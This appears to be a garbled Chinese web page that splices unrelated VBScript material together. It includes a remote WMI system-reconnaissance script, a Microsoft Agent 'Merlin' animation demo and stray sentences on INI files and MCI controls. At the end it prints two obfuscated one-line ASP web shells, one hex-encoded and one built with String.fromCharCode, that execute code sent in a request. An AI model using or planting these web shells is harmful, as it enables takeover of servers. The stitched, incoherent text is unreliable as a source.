游戏开脚本是什么意思冰焰安全

->

if(lcase(right(wscript.fullname,11))="wscript.exe")then setobjshell=wscript.createobject("wscript.shell") objshell.run("cmd.exe/kcscript//nologo"&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit endif withwscript.arguments if.count>0then ipaddress="." outfile="" username="" password="" viewtype=0 program=0 forarg=0to.count-1 selectcaseleft(lcase(.item(arg)),2) case"/h","/?","\h","\?" usage() wscript.quit case"/r","\r" ifarg+3<=.count-1then ipaddress=.item(arg+1) username=.item(arg+2) password=.item(arg+3) else wscript.echo"ArgumentsError!"&vbcrlf usage() wscript.quit endif case"/v","\v" viewtype=1 case"/o","\o" outfile=.item(arg+1) case"/a","\a" program=1 endselect next endif endwith onerrorresumenext ifoutfile<>""then setfs=createobject("scripting.filesystemobject") showerr() setof=fs.opentextfile(outfile,8,true) showerr() endif wscript.echo"GettingInfomation...."&vbcrlf setobjlocator=createobject("wbemscripting.swbemlocator") showerr() setobjswb=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerr() onerrorgoto0 setobj1=objget("win32_computersystem") setobj2=objget("win32_operatingsystem") setcol3=objswb.instancesof("win32_processor") setobj4=objget("win32_logicalmemoryconfiguration") setobj5=objget("win32_bios") setobj6=objget("win32_displayconfiguration") setcol7=objswb.instancesof("win32_diskdrive") setcol8=objswb.instancesof("win32_logicaldisk") setcol9=objswb.instancesof("win32_networkadapterconfiguration") setcol10=objswb.instancesof("win32_quickfixengineering") ifprogram=1then setobjswb1=objlocator.connectserver(ipaddress,"root/default",username,password) setobj11=objswb1.get("stdregprov") endif wnl"OSInfo:" wnl"ComputerName:"&obj1.name wnl"UserName:"&obj1.username wnl"Domain:"&obj1.domain domainrole="" selectcaseobj1.domainrole case0 domainrole="Workstation" case1 domainrole="MemberWorkstation" case2 domainrole="Server" case3 domainrole="MemberServer" case4 domainrole="BackupDomainController" case5 domainrole="MainDomainController" endselect withobj2 wnl"DomainRole:"&domainrole wnl"Caption:"&.caption wnl"Organization:"&.organization wnl"RegisteredUser:"&.registereduser wnl"InstallDate:"&timeformat(.installdate) wnl"LastBootUpTime:"&timeformat(.lastbootuptime) wnl"WindowsDirectory:"&.windowsdirectory ifviewtype=1then wnl"SystemDirectory:"&.systemdirectory wnl"BootDevice:"&.bootdevice wnl"CountryCode:"&.countrycode wnl"CSName:"&.csname wnl"Description:"&.description wnl"Manufacturer:"&.manufacturer wnl"SerialNumber:"&.serialnumber wnl"Version:"&.version wnl"SystemType:"&obj1.systemtype wnl"SystemStartupDelay:"&obj1.systemstartupdelay&"s" wnl"SystemStartupOptions:"&obj1.systemstartupoptions(0) fori=1toubound(obj1.systemstartupoptions) wnlspace(28)&obj1.systemstartupoptions(i) next endif endwith wnlvbcrlf&"ProcessorInfo:" wnl"NumberOfProcessors:"&obj1.numberofprocessors foreachobj3incol3 withobj3 wnl"DeviceID:"&.deviceid wnl"Name:"&.name wnl"CurrentClockSpeed:"&.currentclockspeed&"MHz" wnl"Description:"&.description ifviewtype=1then wnl"ExtClock:"&.extclock&"MHz" wnl"L2CacheSize:"&.l2cachesize&"KB" wnl"L2CacheSpeed:"&.l2cachespeed&"MHz" wnl"ProcessorId:"&.processorid wnl"Manufacturer:"&.manufacturer wnl"SocketDesignation:"&.socketdesignation wnl"AddressWidth:"&.addresswidth&"Bit" wnl"DataWidth:"&.datawidth&"Bit" endif endwith next withobj4 wnlvbcrlf&"MemoryInfo:" wnl"TotalPhysicalMemory:"&cint(.totalphysicalmemory/1024)&"MB" wnl"FreePhysicalMemory:"&cint(obj2.freephysicalmemory/1024)&"MB" ifviewtype=1then wnl"TotalPageFileSpace:"&cint(.totalpagefilespace/1024)&"MB" wnl"TotalVirtualMemory:"&cint(.totalvirtualmemory/1024)&"MB" wnl"AvailableVirtualMemory:"&cint(.availablevirtualmemory/1024)&"MB" endif endwith ifviewtype=1then wnlvbcrlf&"BIOSInfo:" wnl"Description:"&obj5.description wnl"CurrentLanguage:"&obj5.currentlanguage wnl"Version:"&obj5.version wnl"Manufacturer:"&obj5.manufacturer endif withobj6 wnlvbcrlf&"DisplayConfiguration:" wnl"Caption:"&.caption ifviewtype=1then wnl"DeviceName:"&.devicename wnl"DriverVersion:"&.driverversion endif wnl"DisplayFrequency:"&.displayfrequency&"Hz" wnl"BitsPerPel:"&.bitsperpel&"Bit" wnl"Pels:"&.pelswidth&"x"&.pelsheight endwith wnlvbcrlf&"DiskInfo:" foreachobj7incol7 withobj7 wnl"DeviceID:"&.deviceid wnl"Caption:"&.caption wnl"InterfaceType:"&.interfacetype ifviewtype=1then wnl"SCSIBus:"&.scsibus wnl"SCSILogicalUnit:"&.scsilogicalunit wnl"SCSIPort:"&.scsiport wnl"SCSITargetId:"&.scsitargetid wnl"SectorsPerTrack:"&.sectorspertrack&"KB" endif wnl"Partitions:"&.partitions wnl"Size:"&sizeformat(.size) endwith next str="Volume"+space(2)+"Type"+space(8)+"Format"+space(4) str=str+"Size"+space(6)+"Free"+space(12)+"Label" wnlstr foreachobj8incol8 withobj8 drivetype="" selectcase.drivetype case0 drivetype="Unknow" case1 drivetype="NoRootDir" case2 drivetype="Removable" case3 drivetype="Fixed" case4 drivetype="Network" case5 drivetype="CD-ROM" case6 drivetype="RAM" endselect strpercent="" if.size<>""and.freespace<>""then strpercent="("&formatpercent(.freespace/.size,0)&")" endif str=""&wsp(.caption,8)&wsp(drivetype,12)&wsp(.filesystem,10)&wsp(sizeformat(.size),10) str=str&wsp(sizeformat(.freespace)&strpercent,16)&.volumename wnlstr endwith next wnlvbcrlf&"NICInformaton:" foreachobj9incol9 withobj9 if.IPEnabledthen wnl"Index:"&.index wnl"Description:"&.description ifviewtype=1then wnl"DHCPEnabled:"&.dhcpenabled wnl"DHCPServer:"&.dhcpserver wnl"DNSHostName:"&.dnshostname wnl"DNSServerSearchOrder:"&wfl(.dnsserversearchorder) wnl"WINSPrimaryServer:"&.winsprimaryserver endif wnl"IPAddress:"&wfl(.ipaddress) wnl"MACAddress:"&.macaddress wnl"DefaultIPGateway:"&wfl(.defaultipgateway) wnl"IPSubnet:"&wfl(.ipsubnet) ifviewtype=1then wnl"IPFilterSecurityEnabled:"&.ipfiltersecurityenabled wnl"IPSecPermitIPProtocols:"&wfl(.ipsecpermitipprotocols) wnl"IPSecPermitTCPPorts:"&wfl(.ipsecpermittcpports) wnl"IPSecPermitUDPPorts:"&wfl(.ipsecpermitudpports) endif endif endwith next ifviewtype=1then wnlvbcrlf&"HotFixesInfo:" foreachobj10incol10 wnl"HotFixID:"&obj10.hotfixid wnl"FixComments:"&obj10.fixcomments wnl"InstallDate:"&obj10.installdate wnl"ServicePackInEffect:"&obj10.servicepackineffect next endif ifprogram=1then wnlvbcrlf&"Applications:" HKLM=&h80000002 keypath="SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" obj11.enumkeyHKLM,keypath,keyarray redimstr(ubound(keyarray)+1) j=0 fori=0toubound(keyarray) obj11.getstringvalueHKLM,keypath+keyarray(i),"displayname",strvalue ifstrvalue<>""then str(j)=strvalue j=j+1 endif next ifj>1then fori=0toj-1 fork=0toj-i-1 ifstrcomp(str(k),str(k+1),1)=1then strtemp=str(k+1) str(k+1)=str(k) str(k)=strtemp endif next next endif fori=0toj-1 wnl""&str(i) next endif subshowerr() iferr.numberthen wscript.echo"Error0x"&cstr(hex(err.number))&"." iferr.description<>""then wscript.echo"Errordescription:"&err.description&"." endif wscript.quit endif endsub subwnl(msg) wscript.echomsg ifisobject(of)then onerrorresumenext of.writelinemsg showerror() onerrorgoto0 endif endsub functionwfl(byrefobj) str="" fori=0toubound(obj) str=str&obj(i)&"" next wfl=str endfunction functionwsp(msg,num) ifmsg<>""then msg=left(msg,num-1) wsp=msg&space(num-len(msg)) else wsp=space(num) endif endfunction functiontimeformat(msg) timeformat=left(msg,4)&"/"&mid(msg,5,2)&"/"&mid(msg,7,2)&""&mid(msg,9,2)&":"&mid(msg,11,2)&":"&mid(msg,13,2) endfunction functionsizeformat(msg) ifmsg<>""then size=msg/1048576 ifsize>1024then sizeformat=round(size/1024,2)&"GB" else sizeformat=round(size,1)&"MB" endif endif endfunction functionobjget(msg) setcol=objswb.instancesof(msg) foreachobjxincol setobj=objx next setobjget=obj endfunction functionusage() wscript.echostring(79,"*") wscript.echo"RGISv1.03" wscript.echo"RemoteGetInfomationScript,byzzzEVAzzz" wscript.echo"Welcometovisite" wscript.echo"Usage:" wscript.echo"cscriptrgis.vbs[/rtargetIPusernamepassword][/ofilename][/v][/a][/h]" wscript.echo"/r:remotegetinfo." wscript.echo"/o:outputtofile." wscript.echo"/v:getmoreinfomation." wscript.echo"/a:getapplicationsinfomation." wscript.echo"/h:showusage." wscript.echostring(79,"*")&vbcrlf endfunction优秀分镜头脚本范例2017但那就要另当别论了读写INI文件通常有两种方式:一是在Windows中用"记事本"(Notepad)对其进行编辑,比较简单,无需赘述;二是由Windows应用程序读写INI文件,通常是应用程序运行时读取INI文件中的信息,退出应用程序时保存用户对运行环境的某些修改

1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, PowerPoint等Office文档 5. 嵌入网页,驱动dHTML 6. 编写HTTP通信 7. 调用系统功能(COM组件),比如说语音说话 8. 分析HTML, XML 9. 调用命令行并分析返回结果 10. 处理图片 11. 自动化按键 12. 调用Windows Media Player并管理 13. 调用Windows Live Messenger并管理 14. 服务端技术:Active Server Page (ASP) 15. 脚本病毒 16. 处理数据库因此,所有固定长度字符串比然被转换为可变长度字符串

  有了上述功能还不够,因为学习者不一定一步一步进行到底,有可能需要返回到上一步,或是跳过某一步

'On Error Resume Next strAgentName="Merlin" strAgentPath="c:\windows\msagent\chars" & strAgentName & ".acs" ScriptComplete=0 Set objAgent=WScript.CreateObject("Agent.Control.2","agent_") objAgent.Connected=True objAgent.Characters.Load strAgentName, strAgentPath Set objCharacter=objAgent.Characters(strAgentName) objCharacter.LanguageID=&H409 'objCharacter.LanguageID=&H804 '菜单为中文,但微软没有开发中文语音 objCharacter.MoveTo 0, 700 objCharacter.Show objCharacter.GestureAt 900, 700 wsh.sleep 2000 objCharacter.MoveTo 900, 700 wsh.sleep 3000 objCharacter.GestureAt 900, 100 wsh.sleep 2000 objCharacter.MoveTo 900, 100 wsh.sleep 3000 objCharacter.Speak("Good " & GetTimeOfDay()) objCharacter.Speak("I love you") objCharacter.speak("Hello, how are you?") objCharacter.speak("I will show for you!") wsh.sleep 10000 '边表演边说明 show "Acknowledge", "点头" show "Alert", "伸直并抬起眉毛" show "Announce", "举起喇叭并吹奏" show "Blink", "眨眼睛" show "Confused", "挠头" show "Congratulate", "展示奖品" show "Congratulate_2", "鼓掌" show "Decline", "抬起手并摇头" show "DoMagic1", "举起魔法棍" show "DoMagic2", "放下魔法棍,出现云彩" show "DontRecognize", "捂住耳朵" show "Explain", "将两臂向两侧展开" show "GestureDown", "向下的手势" show "GestureLeft", "向左的手势" show "GestureRight", "向右的手势" show "GestureUp", "向上的手势" show "GetAttention", "向前倾并敲击" show "GetAttentionContinued", "向前倾并再次敲击" show "GetAttentionReturn", "返回正常姿势" ShowLoop "Hearing_1", "耳朵伸长(循环的动画)" ShowLoop "Hearing_2", "头向左倾(循环的动画)" ShowLoop "Hearing_3", "头向左转(循环的动画)" ShowLoop "Hearing_4", "头向右转(循环的动画)" show "Hide", "消失在帽子下面" show "Idle1_1", "喘口气" show "Idle1_2", "向左看并眨眼" show "Idle1_3", "向右看" show "Idle1_4", "从上往右看并眨眼" show "Idle2_1", "看看魔法棍并眨眼" show "Idle2_2", "手握手并眨眼" show "Idle3_1", "打呵欠" ShowLoop "Idle3_2", "入睡(循环的动画)" show "LookDown", "向下看" show "LookDownBlink", "眨眼向下看" show "LookDownReturn", "返回正常姿势" show "LookLeft", "向左看" show "LookLeftBlink", "眨眼向左看" show "LookLeftReturn", "返回正常姿势" show "LookRight", "向右看" show "LookRightBlink", "眨眼向右看" show "LookRightReturn", "返回正常姿势" show "LookUp", "向上看" show "LookUpBlink", "眨眼向上看" show "LookUpReturn", "返回正常姿势" show "MoveDown", "向下飞行" show "MoveLeft", "向左飞行" show "MoveRight", "向右飞行" show "MoveUp", "向上飞行" show "Pleased", "微笑并把手合在一起" show "Process", "搅拌大锅" ShowLoop "Processing", "搅拌大锅(循环的动画)" show "Read", "打开书,阅读并查寻" show "ReadContinued", "阅读并查寻" show "ReadReturn", "返回正常姿势" ShowLoop "Reading", "阅读(循环的动画)" show "RestPose", "正常姿势" show "Sad", "悲伤的表情" show "Search", "观察水晶球" ShowLoop "Searching", "观察水晶球(循环的动画)" show "Show", "从帽子中出现" show "StartListening", "手靠向耳朵" show "StopListening", "手捂在耳朵上" show "Suggest", "显示电灯泡" show "Surprised", "显得很吃惊" show "Think", "用手托住下巴向上看" ShowLoop "Thinking", "用手托住下巴向上看(循环的动画)" show "Uncertain", "向前倾并抬起眉毛" show "Wave", "摆手" show "Write", "打开书,书写并查寻" show "WriteContinued", "书写并查寻" show "WriteReturn", "返回正常姿势" ShowLoop "Writing", "书写(循环的动画)" actions=Array("Acknowledge","Alert","Announce","Blink","Confused","Congratulate","Congratulate_2","Decline","DoMagic1","DoMagic2","DontRecognize","Explain","GestureDown","GestureLeft","GestureRight","GestureUp","GetAttention","GetAttentionContinued","GetAttentionReturn","Hide","Idle1_1","Idle1_2","Idle1_3","Idle1_4","Idle2_1","Idle2_2","Idle3_1","LookDown","LookDownBlink","LookDownReturn","LookLeft","LookLeftBlink","LookLeftReturn","LookRight","LookRightBlink","LookRightReturn","LookUp","LookUpBlink","LookUpReturn","MoveDown","MoveLeft","MoveRight","MoveUp","Pleased","Process","Read","ReadContinued","ReadReturn","RestPose","Sad","Search","Show","StartListening","StopListening","Suggest","Surprised","Think","Uncertain","Wave","Write","WriteContinued","WriteReturn") '顺序表演 for each action in actions Set objRequest=objCharacter.Play(action) Do While objRequest.Status > 0 WScript.Sleep 100 Loop next '随机表演 do Randomize i=Int((UBound(actions) + 1) * Rnd) action=actions(i) Set objRequest=objCharacter.Play(action) Do While objRequest.Status > 0 WScript.Sleep 100 Loop loop Do WScript.Sleep 1000 Loop Until ScriptComplete Function GetTimeOfDay() h=Hour(Now) If h < 12 Then TimeOfDay="Morning" ElseIf h < 18 Then TimeOfDay="Afternoon" Else TimeOfDay="Evening" End If GetTimeOfDay=TimeOfDay End Function Sub Show(action,prompt) objCharacter.Speak(action) wsh.sleep 300 objCharacter.Think(prompt) wsh.sleep 200 Set objRequest=objCharacter.Play(action) Do While objRequest.Status > 0 WScript.Sleep 100 Loop end sub Sub ShowLoop(action,prompt) objCharacter.Speak(action) objCharacter.Think(prompt) objCharacter.Play(action) wsh.sleep 5000 objCharacter.stop end sub Sub agent_dblclick(ByVal CharacterID, ByVal Button, ByVal Shift, ByVal X, ByVal Y) if MsgBox("确定要退出吗?",33,"确认退出")-2 then objCharacter.StopAll WScript.Quit end if End Sub Sub agent_DragStart(ByVal CharacterID, ByVal Button, ByVal Shift, ByVal X, ByVal Y) objCharacter.Speak("Shit! Don't drag me!") wsh.sleep 5000 End Sublua算法加密所有MCI控件可以有下列几种方式来编程:⑴控件及其各按钮的可见性和使能性;⑵可变或完全对控件进行重新定义;⑶在一个窗口表格中可以同时控制多个设备<scriptlanguage=vbsrunat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) FunctionHextoStr(data) HextoStr="EXECUTE""""" C="&CHR(&H" N=")" DoWhileLen(data)>1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) EndIf Loop EndFunction </script> <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode( 116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1 04,40,101,41,123,125))</SCRIPt>。

37人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册